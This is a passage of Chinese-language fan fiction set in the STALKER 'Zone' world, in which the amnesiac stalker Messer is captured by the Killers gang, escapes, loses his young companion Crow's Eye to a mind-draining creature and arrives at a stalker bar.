“见鬼,以前这里没有这个坏蛋!”梅塞尔背靠在凉爽湿滑的墙上,漠然地看着另一个被击败的怪物。与寒冷接触的疼痛稍微减轻了,好像惊讶于这身体不是它无限制的领地,不是这片颤抖原生质领土的全权女主人。

梅塞尔集中残余的力气,几乎从怪物的尸体上爬过去,颤抖的手摸到了宝贵的盒子……

全身的疼痛像森林大火一样腾起……然后……消失了。

梅塞尔终于喘了口气。

每次他都不由得对这些神秘药物的效果感到惊讶。

身体在眼前再生,伤口愈合,烧伤变白并逐渐消失。但最奇妙的是,精神与身体同时再生。梅塞尔又变得精神焕发……甚至有点无菌……

天哪!!!他确实在发炎的意识所提示的地方找到了药品藏匿点。而且它们的效果正如他所想。

难道他真的以前来过这里?!

但奇迹暂时结束了。这座大楼的上层与研究所的走廊惊人地相似:同样的恐慌逃亡痕迹、空荡的办公室、匆忙丢弃的物品。但除此之外,感觉有人定期来这儿,试图完成破坏。被扔掉的箱子被撬开,有些看起来像是用牙齿撬开的。

梅塞尔仔细查看各种小东西,试图注意到不寻常的东西。他的努力得到了回报。在从天花板上脱落了足够多灰泥的地板上,清晰可见痕迹——人的脚印,更确切地说,是孩子的脚印。

或者还是侏儒的?

……现在下楼,进地下室……

……侏儒(孩子们?)尖叫着向四面八方跑去……

好吧,地下室就地下室!

地下迷宫让他习惯性地弯下腰,以一种奇怪的摇摇晃晃的小跑跑起来,注意到最微小的动静,以便及时用先发制人的火力迎接它。

除了从脚下尖叫着跑开的老鼠,下面没有其他生物。至少目前还没看到“怪物”。在其中一个侧室,梅塞尔看到一个奇怪的构造。它最像一堆骷髅头,来自他曾在某处见过的画《战争的神化》,那里有一个由人类头骨组成的巨大金字塔。但这些“头骨”很小,形状有点奇怪。只有走近金字塔,梅塞尔才惊讶地发现,有人把几百个……电脑鼠标堆成了一堆。拨开这堆东西,梅塞尔在里面发现了一个便携电脑(显然是从死去的潜行者那里捡来的)。电脑不工作,有人把一块打磨过的、尖锐得像锥子的骨头小心地敲进了屏幕。显然,有人试图……杀死电脑。

然后梅塞尔又发现了几座奇特的“金字塔”。一座是由成百个圆珠笔堆成的。另一座是由卫生纸卷堆成的。每座金字塔里面都“埋葬”着一个便携电脑。

所以,某处肯定也应该有一座由文件袋组成的金字塔。(译注:你梅哥这个发散思维…)

在整个旅程中,特别是靠近金字塔时,梅塞尔一直感到有人在注视他。但所有“发现”观察者的尝试都没结果。

“你为什么毁坏我们的偶像?”

那个声音是吱吱作响的,仿佛是人工合成的。

“你们是谁?”梅塞尔小心地问。

“我们……是人,”回答很急促,但缺乏自信。

“我能看到你们吗?”

“为什么?”

“但你们能看到我。我想在平等条件下交谈。”

“我们不想要……平等条件。”

“你们为什么埋便携电脑?”

“里面有潜行者的灵魂。”

“所以你们专门‘杀死’潜行者的灵魂?”

“我们不想回答这个问题。”

“我需要文件,纸质的文件夹……”

“为什么?”

“为了知道真相。”

“什么……真相?”

“他说的对,”梅塞尔想。“真是的,我想找到什么真相?”

“史特烈洛克是谁?”梅塞尔轻声问。

“你……不知道?”

这次声音里明显带着嘲讽。

“如果我们把所有文件都给你,你会走吗?”

“很可能。”

“这不是回答。”

“好吧,我肯定会走。”

“你肯定会骗我们。我们总被骗。我们厌倦了被骗。我们……我们什么也不会给你。”

一声轻轻的沙沙声,梅塞尔明白他的对话者开溜了。

再次疯跑过地下迷宫。有几次梅塞尔几乎追上了看不见的监视者,但每次最后一刻他们总能溜走。他又发现了三座金字塔,但没有去挖开它们。最后,在迷宫最深处,梅塞尔找到了他要找的东西——一座由文件夹和文件组成的金字塔。不去查看内容(借助地下室幽灵般的光线),只是检查文件夹里有没有纸,然后梅塞尔开始匆忙地把它们塞进背包。

然后,从所有黑暗的角落,泥土、石头、压缩的老鼠屎块朝梅塞尔飞来……起初他以为又遇到了一窝吵闹鬼,但仔细一看,努力护着头的同时,梅塞尔看到了丑陋的小矮人,在他周围收紧仇恨的包围圈。只有在噩梦里才能把他们和儿童混淆。他们更像是成年人的恶意漫画。因愤怒而扭曲的小脸,燃烧着仇恨的巨大眼睛……而且越来越多。再过一会……

梅塞尔受不了了;他吐了口唾沫,放弃了剩下的文件,狼狈逃跑了。

回程他快了至少四倍,后背感受着仇恨与愤怒的压力。他没减速,冲出大楼,然后因昏暗的日光(在地下之后显得像耀眼的镁光闪)而愣住,停了下来。


当眼睛适应日光时,梅塞尔有几秒钟失去了对周围环境的控制,他再次为此后悔不已。

当眼睛终于习惯后,正前方,一箭之遥,他看到一个僵尸。这个僵尸和那个在“杀手”巢穴里被军方潜行者干掉的倒霉蛋长得一模一样。而且他显然打算执行他前任没来得及完成的事,也就是,要干掉他——梅塞尔。

“游戏结束!”这句荒谬的话在他发炎而疲惫的大脑中冒出,他对着吃惊的僵尸大声而痛苦地笑了起来。

奇怪的是,在这个决定性的时刻,梅塞尔的感知发生了奇妙的变化,时间仿佛停止了,尽管思绪流动缓慢,但许多零碎的图像在内眼之前闪过,而僵尸在此期间甚至来不及眨眼,他的双手还没开始做出会给梅塞尔带来死亡的动作……

……他只是一些未知过程的影子,那些过程驱赶他穿越空间和时间……

……他不停地走啊走,仿佛周围的空间借用了时间的一个特征——不可逆的向前运动,而在这个奇特的系统中,人自己只是作为一个参考点,自我和时间以及获得了超现实移动自由的世界从他身旁滑过……

咔嚓!计数器动了。

梅塞尔已准备好迎接死亡。但显然,死亡还没准备好拥抱他。

僵尸的前额突然睁开了第三只眼。很小,红色,恶毒。一滴血从这只“眼”中挤出来,像一滴恶毒的眼泪。然后梅塞尔才听到枪声。

梅塞尔漠然地看着倒下的僵尸,预期到事态的进一步发展,回头看了看。

“还不如让僵尸杀了我!”他疲惫地想。

五名杀手团的成员完全封锁了任何逃跑的企图。

“瞧!”其中一个杀手高兴地说,“少校一直吓唬我们说对付不了他。结果我们像对付个流鼻涕的小狗崽一样……”


现在梅塞尔终于有了机会稍微思考一下,尝试把所有的线头连起来。他在军用仓库的区域内,被锁在同一个混凝土柱子上,就是那个军人干掉的僵尸所锁的柱子。很可能,同样的命运在等着他。谢天谢地,至少不是倒吊着。武器当然被没收了,所有他费力弄来但还没来得及看的文件也拿走了。但文件本身是另一个问题。实际上,为什么他更感兴趣特异区里发生了什么,而不是自己是谁?以及特异区外面可能是什么!毕竟,既然有封锁线,有直升机从某处飞来,那么那里……也有什么东西。他生活和行动,就像一个自动机。难怪他早就有一个想法:他并不比那些不幸的僵尸好多少。虽然另一方面,我们在某种程度上都是僵尸,我们对世界有某种既定的概念,对在其中发生的过程有既定概念。没有人想不偏不倚地从侧面看一切。看来,他梅塞尔,恰好可以成为那块试金石,用来测试这个结构的强度。没有任何关于自己过去的数据,没有与这个世界根深蒂固的联系,没有固定的评价标准包袱。

但按理说,他应该问自己的第一个问题,不是他是谁,而是为什么他对特异区范围之外的一切都不感兴趣。好像特异区之外的世界根本不存在!他对关于特异区之外领土的思考怎么会有这种冷漠,几乎是厌恶?

是的,回忆起他在死亡卡车中醒来之前做什么、怎么生活就好了。但在此之前也有过什么吧?这个“外部”世界某处应该存在过吧?可能他在那里出生、成长,可能学习,与不同的人相遇,然后才以某种方式进入了特异区。或者,周围除了特异区和潜行者,什么也没有?其实,整个世界就是特异区。而他应该……什么?对谁?!

……社会在培养他成为其成员。社会也还没有准备好接纳他。他不需要常识,他不需要理性,他需要的是……社会适应……

咔嚓!

这从哪来的?也许来自他的“深层”过去?

不!他不欠任何人任何东西。更确切地说,他目前所有该做的,就是试图摆脱又一个绝境。

梅塞尔看着自己被手铐锁住的双手。不仅由于他不得不拥抱的混凝土柱子的妨碍,他无法好好看清楚它们,而且卫兵还一直盯着他。

“哈!还有人以为我是重生者,有某种超能力,”梅塞尔跪了下来,发烧的前额贴在粗糙的混凝土上,“而我所能做的,只是系统性地陷入一个又一个困境,而且有着令人羡慕、近乎幻想的持久性。再加上我射击还算可以。但砸碎混凝土柱子、挣断钢手铐显然不是我的特长。可惜。”

但自嘲在这里也帮不上忙。


“怎么样,小子,没提前死掉吧?”那个潜行者(从他获得其他成员对待的方式看,是头领)用靴尖捅了捅梅塞尔的肋骨。“再忍忍,等我们把你交给少校……虽然我真不知道他要你做什么。喂,S-207,给他验验血,也许他真的不一般。”

一个胡子拉碴的大汉,只有确切知道自己在做噩梦,才会把他当成医生,他冷冷一笑,从包里拿出一个注射器。

“K-652和R-788,请扶好我们的客人,207给他做服务。”

两个武装分子架住梅塞尔的腋下,猛地把他提起来。207仍然笑着,几乎走到跟前。

“啊,活多久算多久!”梅塞尔吊在武装分子的手臂上,蜷起腿,然后猛地踢了207的肚子一脚。

“喂,652,小心别意外把他打死!!!”

这是梅塞尔听到的最后一句话。一记毁灭性的打击砸在他的后脑勺上,头在软绵绵的脖子上晃了一下,梅塞尔脸撞在混凝土柱子上……


9. 第4层。“杀手”团。重复(被迫)访问

鲜血!墙上的鲜血!!!这是什么?幻觉还是具体现实的恐怖延续?被钉在十字架上的人……和……空虚……

头出奇地清醒。不知为何很冷。奇怪的淡蓝色表面,有细小的、略微模糊的纹理……像一张布满湖泊、河流和小溪网的区域地图。或者,是非常薄、几乎透明的皮肤,有着奇特的循环系统图案……很可能是女人的……或者……

他努力集中注意力,意识到自己赤身裸体,俯卧着,鼻子贴在白色大理石板上,一张巨大的桌子上,其无边无际的冷漠大理石表面只有排血槽破坏。

奇怪的是,感觉这一切每隔一段时间就消失在雾气中,仿佛他的视力间歇性失灵。头痛得厉害……

他在太平间!!!但他是活的!

“我活着,混蛋们!!!”

“你确定吗?”

“你们可以自己看。”

“我对基因工程一窍不通。”

“那你们只好相信我的话。”

“那么,他是那些……”

“嗯……我不确定,我的知识不足以描述我所看到的。我只知道,他经过了一个非常有经验的外科医生的手……而且不止。看来关于重生者的传说有一定道理。”

“这能给我们带来什么?”

梅塞尔努力不动,听着对话,试图弄明白是否与他有关。

“恐怕我们无法充分利用,虽然……至少,他的血可以制成很好的解毒剂,而脊髓……”

“好吧,我们会搞清楚的!你确定他不会醒来?”

“那个剂量之后?!虽然……不,应该不会。我想他会睡到明天早上。”

“好,走吧,得准备迎接少校到来。”


梅塞尔无声地从桌上滑下来。他确实赤身裸体,但没有手铐。他所在的房间,以前显然是类似急救站或太平间的地方。武装分子离开时关了灯。结果发现已是深夜,一切沉浸在昏暗之中,但梅塞尔还是看到了自己胡乱堆在角落的衣服。他疯狂地穿上连体服,注意到(以前没空)他的全身布满了几乎看不见的伤痕——不知道是哪个天才外科医生的手笔。感觉他像是从尸体碎片拼接而成的。

他们说他会睡到明天!奇怪,他一点也不困。他们小声说什么关于他身体的特殊性?当他们说他是“那些”时,他们指的是谁?

走廊里传来脚步声,梅塞尔把揉成一团的斗篷扔到解剖台上,让人看起来好像那里躺着一个人——这会让敌人分神一瞬间——然后躲进角落,以便出现在进入者的身后。

第一位来访者是852号,梅塞尔双手交握成“锁”,砸在他剃光的后脑勺上。852号没料到会遭到袭击,飞过几乎整个房间,头撞在解剖台的角上。

又是血。梅塞尔叹了口气,但没有怜悯,也没有仇恨。他觉得自己和这些人同类。只是目前环境对他们这样,对他那样。但任何时候一切都可能反转。

搜了852号的身,梅塞尔终于感觉自己完全“穿好了”。他又有武器了,还有便携电脑。梅塞尔拉了一下手枪的枪栓,向外看了一眼。

急救室位于同一个机库里(梅塞尔曾被锁在混凝土梁上),但在二楼,呈环形围绕中央大厅,形成一种廊台。在他上次自愿来的时候,他曾潜入这里。暮色使梅塞尔得以不被发现地潜入廊台,他很清楚建筑的外观。他不想下到半地下室,对切尔诺贝利狗的记忆还很鲜活。所以,从这里出路有两条——下楼到一楼,通过建筑内部;或者……外面,沿着建筑外墙。里面可能有无数的意外等着他,而外面——梅塞尔朝最近的窗户外面看了一眼——到了外面只有靠自己和身手的敏捷。

他花在下楼上的时间比他预计的多,但最终,擦破了手脚,没人发现他成功落地。他必须抓紧,不知道杀手们什么时候发现失踪。但在外面,他们处于平等条件,尽管团伙成员在人数上占优,梅塞尔可以几乎保持平静。毕竟,他们不停小声说他是重生者不是白费的。天知道这是什么意思,但在必要时,他能高价卖出自己的生命。

一个影子滑向机库。梅塞尔还以为是又一个僵尸。但出现了另一个影子,接着又一个。他们都无声地消失在机库里。

一声枪响!接着又是一声。然后寂静爆炸、破裂,叫喊声、枪声、绝望的咒骂。

这分明是纪律团的成员!在一扇窗户里,在爆炸的火光中,闪过一个壮硕的身影——野猪。难道他们是来救他梅塞尔的?

但此时,另一种声音加入了喧闹——稳定的轰鸣声。

直升机。

梅塞尔从没见过这么多军人同时出现。行动是专业策划的。只有一个人成功从楼里溜出来,他冲向梅塞尔的方向,在最后一秒看到了他,想拐向一边,但梅塞尔跳了起来,把逃跑者按倒在地,捂住他的嘴:

“别出声,乌鸦眼,别慌,是我,梅塞尔。”


军方潜行者显然消灭了机库内的所有人,聚集在外面。他们都穿着相同的、由外骨骼加强的服装。无法从中辨认出少校,但他也很可能在那里。士兵们从机库里拖出两个潜行者。一个是看守犬的继任者野猪,另一个是杀手团的头领。前头领,因为该团伙已不复存在。机库内渐渐燃起大火。

“他在哪?”一名士兵吼道,梅塞尔通过声音认出了少校。

前头领咧嘴笑着,嘴唇破裂:
“看来你们真的很怕他。看你们忙成什么样了……”

少校抡起拳头打在他脸上。由外骨骼加强的打击伤掉了前头领的下巴,他的讲话变得不那么清晰:
“你们来晚了,他……曾在我们手里……后来溜了!”

“他在哪?!!!”少校咆哮着,抓住前头领的衣领。

“我不知道……你知道么?也许他……在你身后。”

尽管前头领明显在嘲讽,少校还是不由自主地抽搐了一下,最后一刻才忍住没有回头。

“你在笑,混蛋,”少校也笑了笑,用外骨骼加强的手指伸向不幸者的喉咙。

“这个怎么办?”一个士兵用枪管戳着野猪的肋骨问。

“随你便,”少校淡漠地说,驼着背走向直升机。

“这里不会再有有趣的事了,”梅塞尔对乌鸦眼耳语道,“我们撤,趁机库里的火还没烧大,我们不会被一览无余……”

但梅塞尔错了,有趣的事还是发生了。士兵们匆忙离开战场,只有一个耽搁了,落在后面,然后从燃烧的建筑里窜出……一个僵尸,他一个利落的动作割开了士兵的喉咙,又钻回燃烧的楼里,而一大群老鼠从燃烧的机库里涌出来。


“你们为什么来这里?”梅塞尔盯着蜷缩的乌鸦眼,在黑暗中这很难,他几乎只能分辨出他驼背的轮廓和睁得大大的眼睛的闪光。有趣,这小子多大了?大概17岁。

“我看到你在实验室出口被抓了,”乌鸦眼抽噎了一下,“就跟踪他们把你拖向机库……野猪反对,但所有兄弟都投票‘赞成’。我们就来了,想救你……你知道,很多人对你寄予某些希望……”

“这个关于三度复活者的愚蠢传说的实质是什么?”

“三度复活者将改变我们的世界!”

“可按照你们愚蠢的谣言,我似乎只是二度复活者,甚至是一度,如果不算自然出生的话(“有趣,在这种事态发展下,这个问题上的怀疑并不那么荒谬!”)。那么,为了取悦你们,我还得再死上一两次?”

“我不知道,但人们……”

“特异区外面是什么?”梅塞尔突然转换话题,到目前为止他对这个问题不感兴趣,他对自己不感兴趣感到可疑。

“‘特异区外面’是什么意思?”

“别装傻!我问得很清楚:特异区外面是什么?”

“我……我不知道……”

“这怎么可能?!”

“我出生时,特异区已经存在了……是真的,‘老人们’说过,曾有过村镇领地不在特异区的时候……但我记不得了。有传说说某处有某种外部世界或巨大的城市……”

(……城市在燃烧。意识到在这片石林里有什么东西能如此长久、执着而痛苦地燃烧,简直让人惊呆。日日夜夜!连续第二周……还有那已经变得无法忍受的烧焦人肉的恶臭……燃烧的人肉的恶臭……)

“……有时直升机和新的潜行者从那里飞来……但几年前那里出了什么事,现在他们……几乎完全忘了我们……也许外来的潜行者对这个外部世界知道得更具体。”

“但看守犬说你们的目标是保护外部世界……”

“我原以为……那是漂亮话。再说他本人恰好是外来的。而我们才不在乎什么外部世界。我们以为只是说说……”

“好吧,”梅塞尔和解地说,“我们得安顿过夜了。还没被吃掉真是奇怪。试试树上吧,虽然可怜的霍普利特也没被树救下……对了,史特烈洛克和记者这些名字对你有什么意义吗?”

“史特烈洛克……他也是从外面来的,有人说他在外部世界是个重要人物,但没人确切知道。甚至有谣言说,原罪团的狂热分子认为有什么重要的事情取决于他……也许他也是重生者?”

“曾是?”

“很可能。好久没人见过他了,自从他向北走之后。”

“所以,重生不是免疫力。”

“什么?!”

“没什么,我自言自语。那记者呢?”

(……记者好人……记者不会欺负我们……)

“霍普利特知道一些他的事,我们来自同一个定居点……霍普利特一直想当作家,他说曾经,当还有书的时候,有一种叫‘奇幻’的类型。那里总有英雄在行动,即使他们是孤独的,最终也总能战胜邪恶……霍普利特说了些关于记者的事,记者在找什么,而霍普利特吹嘘说他找到了……但有没有给记者,我不知道。”

“好吧,我们上‘巢’吧,早晨再行动显得比晚上行动聪明些……”


10. 第5层。通往“潜行者”酒吧之路

“停下!”乌鸦眼嘶哑地喊道。

“看到了,”梅塞尔平静地回答。“别动!这是‘炙烤’。如果你不动,它会从旁边过去。只希望别来阵狂野的风。”

“我见过几次它对人的作用……可能微波炉里的鸡腿就是这种感觉。对了,梅塞尔,你知道在没有一只鸡的特异区,哪来的鸡腿?而且最奇怪的是,没有鸡胸,只有鸡腿和翅膀……”

“闭嘴,它好像因为我们的谈话警觉了!”

三十米外,一种几乎不可见的雾霭,像炎热沥青上的热空气,看上去如此无害。但现象的虚幻是骗人的,如果试图在这雾霭中移动,任何液体都会迅速沸腾并同样迅速蒸发。梅塞尔没亲眼见过“炙烤”的作用,但他遇到过几次干透的木乃伊,一碰就碎。

“我觉得它在找我们,”当“炙烤”移动到很远、几乎消失(好像从未存在过)时,乌鸦眼用几乎失声的声音小声说。

“胡说,”梅塞尔不太确定地反驳,“这种现象……不能思考。”

“可僵尸是现象吗?”

“你什么意思?”

“他们自己似乎不思考,但为什么有些僵尸偏偏追杀你?”

“说明背后‘有人’在指使他们。行了,别闲聊了,在特异区不能在一个地方待太久!唉,可惜我从侏儒那里搞到的所有文件都在机库里烧了。看来,还得再去他们领地搜一次。”

“好吧,并非全部。”

“‘并非全部’是什么意思?”梅塞尔猛地转身面向乌鸦眼,盯着他咧嘴的笑脸。

“当骚乱开始时,我偶然进了一个房间,他们那儿什么都不锁,大概确信没人敢进去……那里像个档案室,我拿了尽量多的文件夹,塞进背包。不知道原因,但它们在特异区很有价值。看守犬不允许我们卖信息……也许他自己私下卖……”乌鸦眼显然很高兴,自己终于能让梅塞尔惊讶。“再说了,这些纸有什么用?卖了可以得不少钱,还能买食物……”

“好了,别嘚啵了,”梅塞尔赞许地拍了拍他的肩膀。“到你们的基地再看你‘偶然’拿了什么。现在得吃点东西,我都忘了嘴里除了被打掉的牙齿还有什么。除了文件夹,你在那个档案室里没拿别的?”

“没有,但我基地里还藏有食物。”

“那我们就加快脚步。你是个顾家的小伙子。没你我可怎么办……”


路上他们两次碰到引力聚集点。幸运的是,有时可以从远处发现它们,乌鸦极其讨厌引力聚集点,会急剧改变飞行轨迹,绕过“看不见的柱子”。加上潜行者的直觉和丰富的经验。

“你最好给我讲讲霍普利特,”梅塞尔边走边说,努力仔细控制周围最微小的动静。

“他有什么好说的,”乌鸦眼叽叽喳喳地说,“一句话:奇怪!当其他小伙子已经在特异区乱窜、偷神器的时候,他,你猜怎么着!不知从哪儿搞到书来读,读各种怪物……好像现实中还嫌少似的!”

“那你读过什么?”

“没明白?!”

“我是问,你和其余人那时读什么?”

“为什么?”

“是啊,真的,为什么?!像你们这样‘不读书’的多吗?”

“我的同龄人——几乎每个都是。怎么,”乌鸦眼突然怒起来,“我们又不是在城市长大的!我们需要书干什么!但我们也没有像你们那样用知识把周围搞得一团糟,没有把事情弄到那种地步……可现在却要一起收拾烂摊子……”乌鸦眼结巴了,内疚地说:“对不起,我不是说你……”

“没事,”梅塞尔和解地点点头。小伙子原则上是对的。他对所发生的事确实没有责任。那谁有责任?也许他梅塞尔也曾为当前的局势贡献了自己的一份力,只是不记得了?!但毕竟,存在某个城市,文明,集权……这个想法令人不安;毫无疑问,这与他“被遗忘”的过去有关。


纪律团的前营地是个可怜的景象。显然,在该团伙撤离去援助梅塞尔之后,要么是成群的变异野猪在吵闹鬼的驱赶下,要么是几次推土机“开过”,横扫了营地。

梅塞尔走进指挥掩体。掩体也被洗劫过。墙上挂着一张烧焦的地图,幸存的部分上有弹孔,彩色小旗被踩进泥里。保险柜是空的,有人仔细地翻过了。老鼠在房间里乱窜。是啊,没有人手是办不到的,特异区的变种只是完成了破坏。纪律团不仅不复存在,还有人成功清除了它所有的痕迹,使它“连过去都不留下”。也许梅塞尔的记忆也经过了类似的程序?为什么?谁?

“我去检查我的食物藏匿点,”乌鸦眼失落地低语。不管他怎么虚张声势,与团伙的过去联系着他在其短暂生命中相当长、似乎还不错的一段时光。

“好,”梅塞尔点点头,“我顺便看看你从‘杀手’档案室拿的那些文件。”

……咔嚓!

而那个世界里没有血和泥。但那个世界也不是甜腻的乌托邦、无菌的私生子。只是那里的困难和危险是自然的,不是人类自己制造的,因此不是人为的,因而也是愚蠢地无望的。所以克服它们也带来快乐。

咔嚓!……

梅塞尔愣住了,涌向他的幻象是如此陌生和惊人!它能从哪来,是什么产生的,梅塞尔在哪里、什么时候,别说看到类似的东西,哪怕是一瞬间想到过?!难道这也是他的过去?

而那个不情愿地、小心地从文件夹中“窥视”出来的过去,有着完全不同的面孔。

《在电站工作人员定居点安装心理情绪校正系统的法案》。

《提高生产力、工作能力和耐力,增强注意力……降低情绪紧张度……》等等……

在副作用中,注意到性活动减少和一般沟通能力下降……

《关于长期生活在辐射背景不符合规定标准的地区的人群的观察报告……》

《在长期暴露于辐射背景(并非总符合规定标准)下超感官敏感性波动的统计研究……》

基因突变……隐性特征……生殖水平指标……在存在地磁影响不稳定因素下对人群的选择性言语影响……选择性超感官沟通强化装置……地质因素……随着时间间隔增加,超弱因素影响的质变……

梅塞尔感到眼前开始因数字、公式和……科学诡辩而发花,这些诡辩羞怯地将大规模人类实验的参与者称为“人群”。不幸的是,从所有这些科学垃圾中,完全无法得出特异区究竟是什么,以及他梅塞尔是如何、为何出现在其中的。

一阵沙沙声引起他的注意。梅塞尔一只手小心地拿着文件,另一只手拔出手枪。不是乌鸦眼,掩体门口站着一个奇怪的生物,几乎无形,梅塞尔甚至无法确定“原始”材料突变成了什么。生物突然膨胀,改变了颜色,然后……唱起歌来。当这奇怪的迷人声音响起时,所有在掩体里乱窜的老鼠都静止了,然后慢慢地向唱歌的畸形生物移动。每当一只老鼠靠近,生物就伸出苍白萎缩的小爪子,抓住老鼠,然后咬掉它的头,像鸡一样吞下去,把无头的尸体扔到一边。

掩体深处传来哐当声——大概是乌鸦眼在黑暗中踢到了一个空罐头盒。畸形生物立刻“瘪”了下去,从视野中消失。老鼠有段时间还朝着既定方向行军,然后停下来,那些走运的,开始疯狂地转动它们还保留下来的头。

“它们让我想起了某人,”梅塞尔苦笑。

从掩体深处冒出得意的乌鸦眼,不理死老鼠,喊道:

“我的藏匿点还在!有肉罐头,还有面包干……”

梅塞尔在手里转着罐头——没有标识。

“好吧,我们吃点东西,然后收拾收拾。这里没什么可等的了!”


乌鸦眼把剩余的食物收进背包:

“我出去透气了,快点跟上!”

梅塞尔在掩体里耽搁了一会儿,整理和打包文件夹,然后走到外面,立刻感到不对劲。空气中有种异样!乌鸦眼站在稍远处,驼着背,手臂无力地垂在身体两侧,背包扔在脚下(里面有食物!他不会就这样随便扔了!)。梅塞尔从背后看着他,只有剃光的后脑勺,但凭直觉感到——不对!

拔出手枪,他小声招呼小伙子:

“嘿,你怎么了?”

乌鸦眼开始慢慢转身……

(……慢慢转身,再过一瞬间,就能看到他的脸,但老鼠……)

男孩的眼睛空洞,像沙漠中心的一口废弃的井……

梅塞尔不由自主地打了个寒颤:他面前站着个僵尸。几分钟前,小伙子还在笑,用闲谈逗他开心……

梅塞尔感觉到身后有动静,向旁边一跳,但绊倒了,开始摔倒……一道灰色的影子向他扑来,但梅塞尔来得及开了一枪,两枪,三枪!!!影子尖叫了一声……消失了。

那是脑波怪。梅塞尔听说过它,但在此之前从未见过,而它的作用后果——不止一次见过。所有受害者都变成植物人,愚蠢而几乎无感。脑波怪从他们那里“吸走”信息,在这个过程中信息联系被破坏,人失去了大多数知识和技能,而脑波怪可以像操纵木偶一样控制他。

梅塞尔站起来,走向几分钟前还是人的那个东西。他完全不知所措,死亡是另一回事,某种不可避免的东西,而这是……

一滴浑浊的泪珠从僵尸的脸颊滚下,嘴唇颤动,梅塞尔与其说是听到,不如说是猜到:

“杀了我……求求你。”

他本想反驳,但话卡在喉咙里。

“求求你,”僵尸重复了一遍,转过身去,露出没有保护的、剃短的后脑勺。

梅塞尔举起手枪,闭上眼睛……

……记者好人……记者不会欺负我们……

……开枪了!

“这样对他……更好,”梅塞尔想,自己却不相信。


11. 第6层。“潜行者”酒吧。

“我就说过,特异区虽大,但我们还会再见面的!我是独狼,还记得我吗?”

梅塞尔用疲惫的目光扫了一眼热情微笑的潜行者,轻声说:

“记得。”

“是啊,从我们第一次见面以来,很多都变了,因为我现在从你嘴里听到的第一个词是‘记得!’。以前你嘴里只有问题……你认识老鼠吗?他是这儿的主人,几乎是上帝(上帝,原谅我!)。”

“我见识过他的手下,守着入口。(‘问题我还留着,只是现在我学会了闭嘴。’)”

“你应该理解他,在这种环境下……”

“我谁也不欠!而且我……非常想睡觉。”

“哦!现在我听出确实是你了。让我带你看看当地的公寓,一开始没向导在这儿你会迷路的。”

梅塞尔耸耸肩——原则上,他不反对帮助。这个巨大的、被改造成潜行者基地的、几乎在特异区中心的建筑,曾经是某个车间甚至整个工厂的一部分。没向导确实容易迷路。不过,梅塞尔累得既不想看见任何人,也不想听见任何人。从被摧毁的“纪律团”基地到这里花了三天。路上他还遇上了大风暴——最近大风暴太频繁了,打破了特异区既定的生活节奏。还得绕个大圈,试图甩掉一群瞎狗,它们在一个被遗弃的农庄里跟上了他。他还得补充被“杀手”夺走的神器储备,并试图整理堆积的文件,其中一部分他刚才被迫卖给了老鼠的手下,以换取进入这个既像疗养院又像寄宿公寓、有个愚蠢名字“潜行者酒吧”的地方的权利。它更像敌对领地中央的一个小公国。据说,连当兵的也不敢冒险在这里进行突袭。

“我们到了,”独狼说。“这是类似本地旅馆的地方。”

显然,这里曾经是类似科技人员工作区的地方,但现在这些房间被改成了睡眠隔间。

独狼拽了几下门,都锁着,但有一扇门开了。

“安顿下来吧,”独狼微笑着,“我想你应该睡上七、八个小时。门只能从里面锁,一旦门打开,隔间就被认为无人占用。从外面无法锁上,所以每个人都随身带着自己的东西。而且天知道,得随时准备紧急撤离。你睡够了,我就带你去真正的酒吧,那里可以喝酒、吃东西、聊天。”

梅塞尔锁上门,把背包扔到角落,脱下斗篷,仔细环顾四周——“上帝保佑小心的人”,然后惬意地躺在窄床上。自从蛤蟆巢穴之后,这是他第一次打算在还算像人的条件下睡觉。

“应该把手枪挪到枕头底下,”他懒洋洋地想。

梅塞尔入睡前最后看到的是角落里一个电视摄像机的瞳孔,暗淡地闪着光。

“有意思,它在工作还是只是……从以前留下的?如果在工作,老鼠想用这个干什么?顺便说一句,我以前没注意,但我觉得我已经在农业研究所见过它们。还有侏儒的地下室里。只是侏儒那里的所有电视摄像机都是‘死’的。”


“这就是我们的酒吧,”独狼用一个宽阔的手势指了指房间。

梅塞尔感到一阵模糊的记忆刺痛……

(……一个巨大的肮脏掩体,被垂直的柱子分成相互连通的区块壁龛……考虑到它的总长度,那里大约有30个人……)

……好像他以前见过类似的东西,一些模糊的,但无疑与这个地方(或完全一样的地方)有关的联想。

房间又长又窄,更像教室,只是长凳不是摆在桌子的一侧,而是围着桌子。除了他们,房间里还有大约四个人,远处的尽头因某种类似应急照明的奇怪光线而隐没在半明半暗之中,无法确定,天花板下悬挂着烟草烟雾的云团。

他们挑了一张偏僻的桌子。

(……每个隔间都有自己的生活:某处在用粗话骂人,某处在打架,某处在哭……)

“那边坐着水牛,”独狼继续轻声对梅塞尔说,“据说他几乎比所有人都更深入北方。他甚至看到了电站的轮廓……特异区的心脏。再远一点是苦相,他有点‘那个’,但他设法在RD装置的辐射下幸存了下来。通常后果类似于脑波怪的作用,之后剩下的东西根本不能算人。而苦相还行……活着,只是有点怪……”

“……市委的指令,1975年5月,关于拨出土地用于建设RD-100特殊用途设施……”

“RD-100,附近有好几个吧?”梅塞尔问。

“哦!”独狼说,并专注地看着梅塞尔。“还有人抱怨记忆力。”

“相对空旷的头脑更容易吸收新信息。即使部分词语只像神秘的缩写,部分甚至被感知为毫无意义的符号。顺便说一句,也许你能告诉我,特异区外面有什么?”

“你不知道?”独狼小心地问。

“不然我干嘛问?”

“嗯……某处有城市……”

(……从这里到城市远吗?……)

(……到城市很远,而夜已临近……)

“……我不记得它叫什么。当兵的从那里来,或者说,以前来过……”

“你们都有惊人的选择性健忘症!”

“你什么意思?”独狼真诚地惊讶。

突然,梅塞尔意识到独狼不是在装,其他人也一样——不是铁丝网和检查站把他们困在特异区,而是完全不同的东西。他们确实不记得或不想记得,在特异区周围肯定还有另一个世界——更好或更糟,是另一个世界。所有人都好像困在了这个小世界里,不想知道任何其他世界。而这个外部世界肯定存在,外部世界之外还有别的……

(……这一现实的具体性。其构成的所有元素是否都从属于它……)

(……日常现实的荒谬已达到临界状态……)

“没什么,”梅塞尔和解地小声说,“只是想起了一件蠢事。”

这个世界,尽管混乱、荒谬,对当地人来说却像毒品一样,有着所有随之而来的后果。这里不可能生活,但他们却在这里生活!但也许,他们如此努力地从记忆中驱逐的那个世界更加可怕?或者他们如此习惯于这里,以至于对其他世界毫不在乎……

“你最好告诉我,你认识史特烈洛克吗?”梅塞尔问。

“认识。而且你让我莫名地想起他。”

“那记者呢?”

独狼没来得及回答,他的脸变得僵硬,他咬牙切齿地说:

“这片福地的老板亲自向我们走来了——尊贵的老鼠大人和他……臭哄哄的老鼠崽子们。”

